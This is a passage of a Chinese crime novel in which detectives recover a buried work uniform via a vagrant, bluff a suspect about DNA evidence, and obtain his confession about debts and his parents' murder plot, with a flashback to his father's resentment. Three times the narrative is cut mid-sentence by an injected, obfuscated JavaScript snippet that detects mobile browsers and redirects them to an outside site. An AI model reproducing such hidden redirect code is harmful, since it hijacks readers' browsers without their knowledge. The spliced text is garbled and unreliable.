紧接着又是持续快一个星期的搜查,连蓝色工装的衣角也没找到。 就在班青和白杨一行人找得昏天黑地的时候,有人提供了重要线索。 准确地讲,那是一个流浪汉。 那流浪汉白天饿了就去路边的餐馆乞讨,要是有人驱赶,就换一个地方讨饭,行踪并不固定。 本来他之前一直在关图县城的城区流浪乞讨,结果夏天来了,关图县打算评选文明卫生城市,流浪汉就因为影响市容市貌被人赶出了城,一直辗转在郊区的各个地方。 现下可是一年中最热的时候,蹭不到空调和风扇,就只能吹自然风,所以流浪汉灵机一动,干脆去了河边睡觉。 8月14日的晚上,他偷到一个别人点的外卖,吃完晚饭之后,正优哉游哉地走在河堤上消食,突然听到一阵突兀的动静。 那声音从他身后不远处的小树林里传来,窸窸窣窣,干枯树叶裂开的声音混合着树枝被踩断的声音,在夜间的河岸边听得格外明显。 他本以为又是哪个跟自己一样流浪的小猫小狗,流浪到此处寻一个安静的住所。 拔脚欲走,却听见一声闷哼。 好奇心驱使之下,流浪汉抬起的脚又收了回去,屏息凝神,以一种近乎贴地的姿势匍匐在树林之外的空地上。 多日没有下雨,这些荒芜多年的树木也没人看管,此时已经严重缺水,许多叶片也都干枯,而后掉落进泥地里。 透过树木稀疏的间隙,他看到一个穿着短袖的年轻男子,正掰了一根粗长的树枝,在林子里的泥土地上挖着什么。 流浪汉凑近了一看,那根树枝到底是不称手,年轻男子挖了半天已经累得气喘如牛。良久之后,却见年轻男子取了身旁的一个小包,将那包埋在他面前挖好的深坑里,又用挖出的泥土填满了,踩得严严实实。 “啪嚓!” 流浪汉看着对方埋好东西快要离开,他撑在地上的手臂早已经有些发软,肌肉的酸痛迫使他不自觉地换了个姿势,可谁知,手一换地方便按上一截干枯的树枝。 树枝应声而断,吓得他慌忙捂嘴。 “谁?” 年轻男子抬脚欲走,才走出两步就听到身后传来突兀的响动。 他转过身体,强作镇定,心里早就砰砰直跳,空旷寂静的夜晚,只有偶尔传来的几声蝉鸣。蝉鸣声沙哑,像是抽烟多年的老烟枪在询问他,震得他头皮发麻。 年轻男子环顾四周,看了一整圈也没看到什么异常。 突然,他径直朝着小树林外河岸的方向走过去,猫着腰,捡起刚才随手扔在地上的粗长树枝,将它在手里攥得死紧,作出防备的姿态。 流浪汉透过树枝的间隙,看到那年轻男子一步步走向自己,顿觉不妙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166671|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都已经五十多岁了,无论如何也打不过一个年轻的壮年男子。 他手上暗暗蓄力,脚掌用力贴在地上,打算随时起身,健步飞奔离开。 “喵——” 黑夜里,一只通身乌黑的瘦弱野猫从流浪汉的斜前方蹿了出去,一个刹那就消失在林子当中,只留下一声凄厉渗人的哀嚎。 年轻男子走向流浪汉的脚步突然停了,他颤抖着双手,放下手里的树枝,抹去脸上黏腻潮湿的热汗,双手撑在膝盖上半蹲着,等待双脚上的酸软和颤抖逐渐褪去。 几分钟之后,年轻男子抓狂地攥紧了耳畔的碎发,然后又十分畅快地放开,长舒一口气,弯腰捡了更多的枯树叶子,将他刚才挖的洞坑遮挡得严严实实。 流浪汉狼狈地瘫坐在树林外面,他不敢再轻举妄动,哪怕那人已经走开。他仍然在等,等到他能确定对方的确已经离开,等他能够确定对方不会再次回来。 大约十几分钟之后,流浪汉终于壮着胆子猫进了树林里。 借着朦胧的夜色,他激动地拨开那厚厚一层枯树叶子,然后用双手的指甲使劲扒开泥土,想要一探究竟。 但是年轻男子太过谨慎,离开前对着这坑踩了又踩,他不过扒了几下,紧实的泥土就将他的手指挤得生疼。 流浪汉拿过被扔到一旁的树枝,胡乱往泥土里戳,几分钟之后,那小包终于出现在他视野里。 树枝被他扔到一旁,他拿出小包,没耐心地扒开。 凑近脑袋一看,却不是什么值钱的玩意儿,更不是他以为偷来的赃物。 “呸!什么狗屁,耽误老子大半天!就他妈的一件破衣裳也值得你怎么藏啊,看不起谁?缺心眼的臭小子,整老子玩呢?呸!晦气东西!” 流浪汉嘴上骂骂咧咧,气急败坏地扒开树枝,钻出树林子,又回到他刚才纳凉的河堤上。没过多久就像死猪一般,沉沉睡了过去,呼噜声震天响。 小包和里面的一套蓝色衣服被他像烂树叶一样扔到一旁,不知道掉落在了树林里的哪个角落,也不知道最后会成为哪个小动物的窝。 几天之后,并没有哪个可怜的小动物在此搭窝。 一只脏污粗糙的大手,从树枝的缝隙里伸出,一把抓起那小包,回手一掏,那包就挤开两棵矮小树木的枝丫间消失不见。 树上的枯树叶随着来人的动作落下一大片,留下两棵树窸窸窣窣的抖动声音,在暴烈狂躁的雨声和雷声中倒是不太惹人注意。 “狗天气,突然下什么大雨?差点给我冻死!” 流浪汉嘴上不干不净地骂着,站在一棵黄葛树下,一边脱下他已经脏得看不见本来颜色的破烂衣服,又用那身破烂擦了擦湿透了的头发,一边迅速穿上包里的蓝色工装。 至于那顶同色系的藏蓝色鸭舌帽,早就因为他脑袋太大戴不上而扔进了湍急的河水中。 那身工装的主人估计长手长脚,流浪汉只有一米六出头,袖子和裤脚都长出一大截。 他挽起袖子,又低头将裤脚卷了三四圈,才抄起跑来时用来挡雨的纸板子,趿拉着不知从哪里偷来的凉鞋,深吸一口气跑进了雨中。 几分钟之后,流浪汉又跑回了树林外,捡起他刚才换下的破烂衣裳,装进他扔在草丛中的小包里,将那小包宝贝似的踹在怀中,再次跑进雨中。 “破破烂烂,好在穿着凉快。” 38.真能宽大处理吗? “怎么发现的这人?”白杨问道,左脚抬起又往楼梯下走了几步。 “我和梁斌正在这片儿找,翻了个遍也没找到,到了饭点儿,饿得不行就打算打道回府。结果刚走到河岸边,就看到有人追他,一边追一边喊‘抓小偷’,我俩也跟在后面追,一直追到了这儿才把他逮住。”蔡小新擦了擦额头上的汗水。 楼梯最下面通往一个废弃工厂的后门,自从那日下雨后,流浪汉就一直躲藏在里面的一处角落。 这处楼梯背后是一座小土坡,阳光并不怎么能照进来,左右空气流通顺畅,因此比其他地方更加凉快一些。 因为常年不见阳光,楼梯上布满了青苔,湿哒哒,滑腻腻,几小时前,还差点把追赶流浪汉的蔡小新绊倒。 流浪汉不知从哪里找了几张硬纸壳子,有铺的,有盖的,还撕了堆不大不小的纸板,用捡来的绳子捆成一叠,充作枕头。 自从那天偶然发现这个凉快去处之后,他再也不去河岸边以天为被,以地为席了。 河堤旁边,凉快是凉快,但是蚊子更多,晚上被叮得满身包,连偷来的蚊香也不管用。 这些天来,流浪汉大多数时候就在里面睡大觉,睡醒了就沿着河边一路走,走到人多的地方,特别是钓鱼佬聚集的地方,装作若无其事地瞎晃悠,等钓鱼佬没注意,就偷他们食物来充饥。 几个小时前,外出觅食的流浪汉终于翻了车。 不幸地被钓鱼佬发现,还被他一路追赶,最后竟然还有两个自称是警察的人也加入了。 最后四个人一路跑到楼梯上,最前面的蔡小新飞起一脚,差点仰倒,不过所幸小偷被他成功地一脚踢翻。 班青刚一走进去,就被熏得退了出来。 “什么味道啊?臭死了!”她捏着鼻子,不敢再多呼一口气。 这味道好像是馊臭了多天的饭菜,混合着汗臭味、腥臭味、脚臭味还有头发的油味,比尸体的味道也好不了多少。 梁斌在这儿待了快两个小时,他适应能力极强,此刻已经是波澜不惊。 “他偷了东西就在这里吃,吃了也不扔,捂在那里一大堆,都捂臭了。”蔡小新一边说,一边捂着鼻子指给班青看,像告状一样。 厂房里对角的空地上乱七八糟地扔了一大堆东西,各种食品袋子花花绿绿地堆在一起,发出阵阵恶臭。就算隔着老远,还能看见几只小指节大的苍蝇围着那堆垃圾飞来飞去。 流浪汉倒是浑然不在意,班青和白杨一行人进去的时候,他正专心地搓着脚趾之间的黑泥,搓着搓着又伸手抓向他快一个月没洗过的头发。 “衣服哪儿来的?”白杨强忍不适,不自在地摸了摸鼻子,又指着已经提前被梁斌收起来的蓝色工装问道。 流浪汉抬头看了一眼,吊儿郎当地糊弄:“捡的呗!” “哪儿捡的?” 流浪汉不答。 “你给我认真点儿啊!你刚才偷人东西,我们还没怎么你,非要跟你动真格是吗?” 梁斌故意沉了脸色,眼神严肃地吓唬他。 流浪汉被他的表情唬住了,嘟嘟囔囔,不情不愿地又说:“真是我捡的,在河边的树林里捡的。有人用一个小包包着,埋在林子里。被我看到,我就捡走了。” “谁埋在那里的?是不是这个人?你看看。” 班青拿出来一张照片,上面是个学生模样的登记照,正是周凯。 流浪汉接过去,看了小半天,一会儿挠头,一会儿皱眉沉思,然后摇摇头,再递了回去。 “其实那天晚上太黑了,我没看清楚他的脸。” “那你接过去装模作样地看这么半天?”蔡小新忍不住怼了一句。 “我乐意,你管不着!” “这些天睡得怎么样?我看你脸色还不错。”班青露出一个平易近人的微笑。 “还不错。”周凯点了点头,也回她一个浅笑。 “吃得好睡得好,是挺不错的。在外面还有人管你讨债,在里面至少清净,没人打你了不是?” 白杨跟班青不是一个路数,张嘴伸舌就恨不得吐出刀子。 周凯听了这话,脸色微变。 但他少年老成,惯常愿意戴着一副温柔礼貌的面具,愠怒稍纵即逝,片刻就恢复了淡定的模样。 “这身衣服你认不认识?”白杨也不管周凯有没有生气,拿出从流浪汉那里取到的证据,伸到距离周凯三米的地方递给他看。 周凯不经意地抬眸,一眼就看到熟悉的衣服,他瞳孔略微放大,不过一瞬间就恢复了表情。 “搬家公司的工装谁都可以弄到,你不能单凭一身衣服就断定是我。” “我只让你认衣服,没说是你。” “不认识。”周凯摇头,坚定地否认。 “你说搬家公司的衣服谁都可以弄到,那这个包呢?你认识吗?”白杨另一只手拿起一个不显眼的小包。 “没见过,从来没见过。这身儿衣服不是我的,我没有穿过这种衣服,这个包也不是我的,事发的时候我一直在安城,没回关图县。” 周凯只看了一眼,随即半闭眼睛,不想再跟这两人周旋,一股脑儿把自己的说辞全部倒了出来。 白杨挑了挑眉头,没反驳他。他拿着那袋衣服和小包,绕回桌子后坐下。 而后,审讯室里维持着一种诡异的安静状态。 周凯正在忐忑不安的时候,对方又发动了攻击。 “或许……你知不知道我们可以从你穿过的衣服上提取到你的DNA?” 白杨用右手撑着下巴,食指敲了敲右脸颊,微笑看着周凯,好像看着一只落入陷阱之中的猎物。 周凯蓦地抬头,眼神直射向白杨。 后者干脆再添上一把火,左手拿起那套蓝色工装,高高地举到头顶,好叫周凯看得更加明白,也趁早死了逃脱的心。 周凯的嘴角不自觉地抽动了一下,他心中忐忑,不知道对方是不是真的能够从那身衣服上提取到DNA,没有把握,一时迟迟不敢开口。 班青和白杨看到对面的人终于沉默了,觉得时机已到,可以撬开他的嘴了,正要再问,周凯的脸上突然浮现出刺眼的得意。 “周警官,白警官,既然你们可以从衣服上提取出我的DNA,为什么不这么做呢?” 此刻周凯已经彻底不再伪装,他将那副文质彬彬、礼貌温和的假面具彻底撕开,只剩下玩弄于人的得意忘形和暗暗自得。 班青深深吸了一口气,和白杨对视一眼,两人心中暗道:这个周凯也太过狡猾。 之所以没有拿出DNA证据,还不是因为衣服本来就难以留存人体细胞,那流浪汉还穿了好几天,衣服又泡了水。 依照班青和白杨的经验,多半已经验不出结果。心中没抱太大的希望,送去一验,果然得到的是失望。 所以两人只敢远远地拿着给周凯看,装腔作势地想要诈一诈他。 周凯看着两人的动作和神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174944|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,更加坚信自己的想法。 如果能拿到直接的证据,他们又怎么会费心费时间地跟自己周旋?另外,要从衣服上提取到DNA,怕是不容易。 他高中的时候,班上的同学为了缓解学习压力,总背着老师拿一些小说看。那时候汪明远虽然也管他管得紧,但是总有疏漏的时候。 所以他就借了同学的书,偷偷夹在卷子里带回家,打着学习的名义,实则经常看一个通宵,一定要把一整本书看完了才罢休。 没想到,当初悖逆汪明远培养的小兴趣还能冥冥之中帮助自己一把。 周凯得意于他曾经的叛逆带来的好处,更加觉得他做对了,嘴角微笑的幅度越来越大。 得意忘形,不过如此。 白杨和班青看对手越发猖狂,只得最后一试。 班青将手边的蓝色工装和小包拿开,空出桌子,只在上面剩了个电脑和一沓纸张。 她转过身,在周凯看不到的地方拿出另一个透明袋子,里面装着一只白色的口罩,口罩的软布上还沾染了些枯树叶子碎屑和泥土。 “这个呢?是你那天戴的口罩吧?你猜我们能不能从这上面检验出DNA?”班青正了脸色,循循善诱,“周凯,我们之所以现在还没有送去检验,是因为我们时间有限,再就是我们也想给你一个机会。至于这个机会你能不能抓住,全看你了。你可以再考虑考虑。” 班青话音一落,就重新坐回椅子上,低头看着笔记本电脑。电脑的光束打在她脸上,显得她更有底气和把握。 坐在班青身旁的白杨也老神在在地翘了个二郎腿,他安然淡定的样子,让人丝毫不怀疑,要是此时他手边有一包烟,他立刻就能在审讯室里吞云吐雾。 这次周凯完全没了把握。 他不确定这次审讯是不是真的为了快速结案,如果不交代,是不是最后会面临顶格的惩罚?毕竟,他14号那天从出了家门后就一直戴着那个口罩。 在高速路上的时候,为了营造出他不舒服的假象,他一路上时不时咳嗽几声,那口罩上一定沾了很多的唾液。 衣服上提取到他DNA的可能性太低,口罩上提取不到的可能性也太低。 他拿不准了。 白杨跟班青面色如常,云淡风轻,内心早已是狂风暴雨,忐忑不安。 其实……哪有什么口罩? 流浪汉带着他们一行人回到小树林的时候,就只剩下一个大坑,旁的什么也没有。 班青心思细腻,专门问了他鸭舌帽的下落,本来想着从中说不定能提取出周凯的头发毛囊,却没想到被他直接扔到了河里。 口罩就更不必说,包里最不值钱的玩意儿,流浪汉当然是直接无视,压根不记得有这么个东西。 耿登尸体发现的前一晚上又刮风又下雨,就算是真有口罩,也让大风吹走了,哪里还能找到? 可是班青和白杨他们知道来龙去脉,周凯却蒙在鼓里。 他不知道这些人怎么拿到他埋到地底下的包,自然也不知道有个流浪汉歪打正着挖了出来,更不会知道流浪汉的举动再次歪打正着,帮他毁掉了在场的这些证据。 周凯陷入长久的沉思中。 班青和白杨在这场角逐中眼看又要落下下风,本以为又是无功而返,只能等待下次攻陷,却没想到,周凯抬眸突然问道:“真能宽大处理吗?” 班青的视线从笔记本电脑前抬起来,看着周凯,肯定地点头,“能,我跟你保证。” 39.负心人 为了让孩子过上更好的生活,汪明远不再满足于学校发的那点微薄工资,他让同事引荐,帮他介绍了个家庭教师的活儿。 汪明远被介绍人带着,去了一个隐蔽的独立院落,对方引着他进了屋里。 两个人等了快半个钟头,出来了一个器宇轩昂的男人。 对方五十多岁的模样,头发已经有些花白,看着平凡,不显山不露水,却有一种不可忽视的气质。 男人倒也谦逊,没因为汪明远年轻寒酸而轻看他,“汪老师”三个字一直挂在嘴边。 男人先贬斥了自己女儿如何愚钝顽劣,后又称赞汪明远教学成绩斐然,往后还需要劳烦他多多费心,如此云云。 从那之后,汪明远就接下了这份报酬不菲的活儿。 这工作也简单,毕竟和学校里的教学一样,又只面对一个女学生,反而更简单了。 不过有些奇怪的是,那男人不和他妻子女儿住在一块儿。 男人住在雅致隐秘的小院子里,那地方一看便不菲,他妻子和女儿却住在关图县城郊的厂区,那一片工厂云集,人来人往,十分吵闹。 谁家锅底下没有灰? 汪明远也懂人情世故,从不多问,只兢兢业业地干着他的工作。 一日,汪明远回到家,就见到平日总是笑意盈盈的妻子失魂落魄地坐在门口。 天际一轮正缓缓下坠的夕阳,拼尽全力送出最后的霞光,透过树梢间的缝隙,将橘黄色的光映照在她的脸上。 她坐着,一动不动。旁边的孩子似乎也看出母亲的心事重重,乖乖地倚靠在母亲旁边,不吵不闹。 妻子从棉纺厂下岗了,第一批下岗名单就有她。 因为她父母双亡,无人倚仗,丈夫还是个要脸面的老师,这样的人最好收拾,最不敢闹事。 汪明远看了,什么也没说,走到妻子面前,用没有拿包的一只手轻轻圈了她在怀里,又轻轻拍了拍她的背。 而后怀里便传来妻子压抑着的哭声,孩子本是靠着母亲的身子,见母亲一起一伏地哭,就也跟着哭。 汪明远看着面前可怜的两人,身为一个丈夫、一个父亲的责任感,在此刻达到了顶峰。 幸好他另外还有一份家教的工作,就算妻子失业了,也没有大碍,汪明远心想。 妻子失业两个月后的某一个周末,汪明远照例去城南厂区那女学生的家中给她补课。 这是一个比当初的他还资质平庸的学生,理解能力差也就罢了,倔强蠢笨还不自知,脾气也怪异。 汪明远看着她写写划划好半天,却总能让他气得发笑的习题本,有时候也忍不住感慨:这蠢人真是命好。 天资聪慧之人,若是能偶遇良机,就算生在贫寒之家,也总不至于埋没。 天资愚钝之人,若是有自知之明,多努力多刻苦,也能有一番成绩,毕竟“笨鸟先飞”。 但是还有另一种人,他们蠢笨如猪,却生得好,生来就拥有老天爷的眷顾,任由前两种人如何努力,毕生也难以达到。 他这女学生就是第三种人。 汪明远接过女学生递过来的习题册,上面一片狼藉,看似努力,却一无所获,努力得让人怜悯,努力得让人同情。 “写一写别的科目吧,啊?缓一缓脑子。” 下午四点,汪明远了结了一整天的痛苦,从学生家走了出来。 汪明远回家的路线,正好要经过妻子曾经工作的棉纺厂。 而此时,工厂门口围满了人。 棉纺厂倒闭了。 妻子被裁两个月后,第二批名单也下来了。除了领导层调任其他单位,普通的中层和基层的工人都被裁了。 第一批名单下来的时候,没被裁员的工人只是暗自庆幸,被裁的反正不是自己,乐得看人笑话。可等到第二批名单下来,当自己的名字也在上面的时候,这些人再也笑不出来了。 后一批的工人正是因为不好糊弄、不好打发、爱闹事,起初才留在了厂里没被裁,这下全被裁了,索性就闹他个天翻地覆! 他们你一言,我一语,推推搡搡,挤来挤去。 胸中的怒火正在蓄势待发,下一秒就要烧光这片土地的所有,连一棵草也不剩下! 汪明远不是个爱凑热闹的人,他看见围得里三层外三层沸反盈天的人群,生怕因为凑热闹惹火上身,加快脚步就要离开。 步履匆匆之间,穿过攒动的人头,汪明远突然看见了一张熟悉的脸。 那僻静小院的低调中年男人,女学生的父亲。 “周厂长,我们勤勤恳恳的,这辈子都奉献给了厂里,凭什么要裁我们?我们做错了什么?”人群中一个戴着眼镜的高个子男人振臂高呼。 他平素不怎么爱说话,性格内敛,多说上几句话就羞得恨不得把头埋进地里,此刻能大声地在众人面前喊出来,已经是极为不易。 “对啊对啊,说裁就裁,我们都是些普通人,要怎么过下去啊?”另一个角落,一个扎着马尾辫的瘦小女子也跟着喊,喊完最后一个字,竟呜呜地哭出声来。 正在此时,人群最外围的一个壮硕男子好像被女人的哭声刺激,唾口大骂:“我去你妈的周厂长,老子都被裁了还喊什么厂长!周老狗,你给我听着,今天你们不给我交代,我抽死你们这群狗杂碎!尤其是你!” 男人手指往周厂长身边一指,手指所指向之处,一个尖嘴猴腮的矮小男人慌忙往周厂长身后躲。 “黄狗!你他妈今天再吆五喝六地糊弄我试试!老子撕了你!” 沸腾之中,另一个悲戚的喊叫精准地传入汪明远的耳朵里,“周厂长,您也有老婆,有儿子,谁也不愿意看着自己家人受苦,您发发善心,也体谅体谅我们,我们大家伙儿上有老下有小,都不容易……” 周厂长见场面乱成了一锅粥,身体仍然站得笔直,他清了清嗓子,大喊一声“安静”。 混乱嘈杂的人群一时间稳住。 他端着往日的做派,维护着自己的沉稳人设,张嘴就是一句官腔:“对于这个决定,我也很痛心。你们的苦处我深有体会,你们的困难我感同身受,但我实在有心无力,因为这都是组织——” 一大块干涸的泥土团越过挤得透不过风的人群,咣当一声砸在周厂长熨得平整的中山装上。 周厂长还没从被泥土砸中的情况中反应过来,愣愣看着胸前,什么体统都不顾了,待到他回过神后,正要怒骂出声,不知谁的唾沫星子便冲他飞来。 “我□□二大爷的!你无力你妈!” 人群中不知道谁怒喊一声,大家像是受到了鼓舞,纷纷抡起拳头,冲最中心的周厂长那一小撮人砸去。 汪明远从棉纺厂门口的混乱抽身之后,心脏还止不住的狂跳,他惊魂未定,久久难以平复。 一方面,担心自己家教的工作还能否干得长久。 另一方面,则是惊诧于那个男人和女学生的身份。 棉纺厂是关图县数一数二的产业,汪明远在安城上学的时候也有所耳闻。 男人一身的气度表明他不是个普通人,汪明远第一次见他时就知道,只是想不到他竟然是妻子前单位的厂长。 更是没想到,那女学生竟然是他的私生女。 汪明远很确定那学生的母亲并不是男人的妻子,因为她只有一个女儿,而棉纺厂所有人都知道,周厂长的妻子生了个儿子。 震惊忧虑之后,便是止不住的羡慕。 汪明远想到周厂长低调却不菲的院子,想到男人被工人挥舞拳头之前挥斥方遒的底气。 那就是他汪明远一直梦寐以求的东西:钱和权。 只是他汲汲营营,奔波二十多年,眼看着机会就在眼前,却阴差阳错,与所欲之物越行越远。 汪明远不愿意再多想,拍了拍方才身上不小心沾了的灰尘,顶着漫天红霞,匆匆回了家。 只是树欲静,而风偏偏不止。 自那日回家后,汪明远时不时会想到棉纺厂的事情。 欲望早在他心上留下一道伤痕,本来一直汩汩流血的,此刻却好像突然结了痂,总会在他怀抱着孩子,或者给学生上课的时候,一阵一阵地发痒,像生了个钩子,密密麻麻地刺挠着他的心。 但心口欲望的伤疤总有愈合的那一天,等到那一天,他再不会为它流血,更不会因为它而奇痒难耐。 因为欲望会被伤疤缝合进他的身体,成为和他完完全全的一部分,届时,他汪明远将彻底得偿所愿。 汪明远同以前一样,每日在关图中学、家里和女学生家三个地方来回,一切看似都没什么变化,只有汪明远知道,他心里某个地方起了巨大的变故。 变故之一,在于他对妻子的态度。 那日夕阳之下,他看着妻子压低声音哭泣,那时涌起的责任感和承诺在经历了两个月之后,率先有了动摇。 妻子和孩子在一起其乐融融的景象不再让他感到满足和幸福,只是烦闷,只是看低,以至于到了厌弃的程度。 孩子尚且年幼,多数时间都是跟着母亲在一起。 之前在棉纺厂的时候,妻子既要工作,又要带孩子,实在忙不过来就拜托邻居家的老太太,或者对门住着专在家带孩子的年轻母亲,让两人帮她家带带孩子。 如今下了岗,没了工作,接近年关,工作也不太好找,她无奈只能带着孩子在家“闲散度日”。 可这也成了汪明远的眼中钉、肉中刺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老板娘来者不善,气势汹汹地走到摊位前。随着她的走动,她腰上一圈又一圈的赘肉上下抖动,眼睛里是浓烈到快要溢出来的疯狂和嫉妒。 围着小摊的学生见势头不妙,慌忙作鸟兽散。 汪妻察觉到她的目的,想要挡在摊子面前,阻止老板娘可能的撒泼,但她瘦弱的身板分明挡不住。 不顾她的阻拦,也不管她的哀求,老板娘三两下掀翻了她的小摊,双手一推搡,连着她人也一起翻倒在地。 对门的老板看着他婆娘速战速决的成果,背着双手隐藏在蒸腾的雾气当中,然后又满意地藏到门帘后面。 这泼妇的名声向来不佳,但他可是这一片最良善最老实的商户,这些个下作事情不让她来做,难道要他自己出面? 男人怎么能做这种丢脸的事情,自然要撺掇着女人去做,才能保全他一家之主的身份! 后巷子的早间趣事,很快就传遍了粱梦中学。 学生们没见过汪老师的妻子,可是汪明远的几个同事却是见过的。这等丢人的臊皮事情,不大书特书,怎么看汪明远那条落败走狗的笑话? 汪明远以前不是最爱向上爬,最爱出风头吗?那就叫他“声名远扬”! 于是乎,在汪明远上课的时候,下面的学生之间早已经传遍了。 这本也是一件小事,没什么丢人的地方,最多不过茶余饭后的一点笑谈。 何况,错的人是心生妒忌的早餐店老板一家,又不是他汪明远。 但是汪明远对妻子的怨气已经快要不可收拾,这次的小插曲更是让他丢尽了脸面,成为别人的笑柄,因此他更加厌弃她。 所以回到家的汪明远,终于将心中多次排练过的话语悉数倒了个干净。 他指责她懒惰,指责她贪图享乐,指责她害他更加吃苦,指责她和他一样的穷苦命却认不清自己,甚至指责她没有一个好的出身,指责她帮不到自己的丈夫…… 妻子失望至极,她看着往日温文尔雅的丈夫,此刻变成一个丑恶无比的负心人,满脸扭曲,目眦欲裂,满眼嫌弃。 他的手指对着她指指点点,指着她的鼻子痛骂,扣上一些莫须有的罪名,来诬陷她,来栽赃她,来打压她。 她不知自己犯了怎么的罪过,导致他看不到她下岗的痛苦,看不到她辛苦养育孩子的不易,看不到她今早被人搞砸一切的孤立无援。 她终于明白,是,汪明远是一个读书人,但他和自己的父亲完全不一样。 他不如父亲,比不上父亲的心胸宽阔,比不上父亲的沉稳负责。 他虚荣可笑,道貌岸然,自私自利。 而她更是可笑,竟然看走了眼,和一个披着人皮的禽兽度过了这么些年。 40.各怀鬼胎,同床异梦 “是,我承认,14号那天我的确回关图县了,监控里穿蓝色工装的人是我,我也去了城南水泥厂,但我真的没有杀人。” 白杨眉梢挑动,不置可否,看不出他真实的想法。 班青也沉了眼睛,聚焦在笔记本屏幕上,手指快速敲动。 周凯继续说:“之所以一直否认,是因为我害怕你们怀疑我,认为我爸爸是我杀害的,但其实——” “14号那天晚上你为什么要去水泥厂?还乔装打扮一番再去?”白杨问道。 “……为了钱。”周凯低下头,小声回答道。 “什么?” “为了钱,为了还借的王哥的钱。半年前我的高利贷就暴雷了,我拆东墙补西墙,结果越欠越多,雪球越滚越大。其他的几笔贷款,我想了办法让人家给我延期宽限,但是王哥那边坚决不同意。 “他威胁我,要是到了日子还不上,就把我赌博和借高利贷的事情散布出去,给我学校和亲朋好友打电话,按照手机通讯录里的名单挨个儿通知,还要砍了我的手指。 “我被他们逼得没有办法,自己又实在死扛不住,就跟我妈坦白。我妈知道了特别生气,但还是陆陆续续给我还了三次,后来听到我还有几笔没还,她也不愿意给我擦屁股了,让我自己想办法。” 周凯说到此处,眼睛里已经布满了怨恨和埋怨。 “你们说,我一个还在上学的学生,我能有什么办法还掉快十万的钱?谁没有个犯错的时候?我从小到大一直按照他们两个的要求,压抑自己往死里学习,就为了他们两个脸上有光。 “可是到最后呢?到我犯了错、蒙了难的时候,他们明明手里有钱却不愿意帮我!这是什么爹妈!跟陌生人有什么区别!” 几声质问以后,他的脸上已经满是泪水,说到最后几个字的时候,已经明显带上了哭腔。 “先歇一会儿吧,平复下情绪。”班青平静地看着他。 他脸上的不甘与怨恨做不得假。 周凯很快恢复了情绪,用袖子胡乱擦干脸上的泪水,继续他的供述。 “案发前几天,我又给我妈打电话,求她给我钱,她当然是拒绝了。我怒不可遏,正打算挂掉电话,却听到她和我爸在说离婚。 “可能是她忘记了挂断电话,我从头听到尾,听到了她和我爸的全部计划。” 白杨捏了捏下巴,“什么计划?” “杀人计划。我爸说他收到一封信,写信的人知道他拿了我两个叔叔的赔偿金,要管他要封口费。但是人的贪婪没有限度,给了一次就会有下一次。 “所以他决定拉上我妈,两个人一起杀了对方。等到事成之后,两个人就离婚,井水不犯河水。” 班青和白杨的目光默契地碰到一处,心中了然,看来周琳讲的确实不假。 班青问周凯:“他们怎么计划的?” “我爸打算在水泥厂杀掉对方,再让我妈协助他伪造现场,假装他被人绑架。我妈到时候再把事先准备好的血衣拿出来,让你们信服,最后引导你们在我家找到提前放好的恐吓信,按照上面的地址把他救出来。” 周凯脸上的泪痕还未全干,却突然哈哈大笑,乐不可支。 正在班青和白杨疑惑的时候,他忽然大骂:“恶人还需恶人磨!他们两个结婚二十多年,各怀鬼胎,同床异梦。我爸以为我妈是傻子,是胆小鬼,不会对他怎么样,放心地把背后交给她,结果惹火上身!我妈满脑子就想着钱,却没想到就算我爸死了,她也别想好过!” “‘各怀鬼胎,同床异梦’,怎么说?”白杨抱臂,向后仰在椅子后背上,饶有兴致地问道。 “你们查过吧,我妈是我爸年轻时候做家教带的学生,比他小快十岁。” “这个倒是查过,怎么呢?” 周凯呵呵一笑。 “我爸辅导我数学的时候,总是拿我妈跟我对比。说我妈就是投胎投得好,明明长了个猪脑子,却因为有个好爹,不费吹灰之力地得到好工作,过好多人求都求不来的生活。 “他绝对想不到,当初的笨学生敢在他背后捅刀子,还以为能像老师对学生一样,死死控制我妈呢?被他一辈子都没瞧上的人坑害、捅刀子,真是对他最大的讽刺!” 周凯越说越快速,越说越疯狂,好像跟汪明远有不死不休的仇恨,那双眼睛里的怨毒让班青和白杨都心头一颤。 周凯对他们的反应全然不在乎,他歪着脑袋,继续谩骂他的双亲。 “我妈也是个猪脑子,她根本不会想到,我爸要是出事了,你们第一个怀疑的就会是她。凭她的智商,想要全身而退,怕是难如登天!” 周凯倾身向前,快意地看着班青和白杨,将双手放在嘴边,做出一个讲悄悄话的姿势。 “最重要的是,就算她真的躲开了你们的侦查,成功独占家里的钱,她也没命享受……” “为什么?” “因为……她活不久啦!我爸长期在她的中药里面做手脚,他肯定也知道她出轨,所以早就计划想要杀了她。” “生附子?”班青想起周琳两次因为生附子入院的经历,想到她躺在病床上那张苍白的脸。 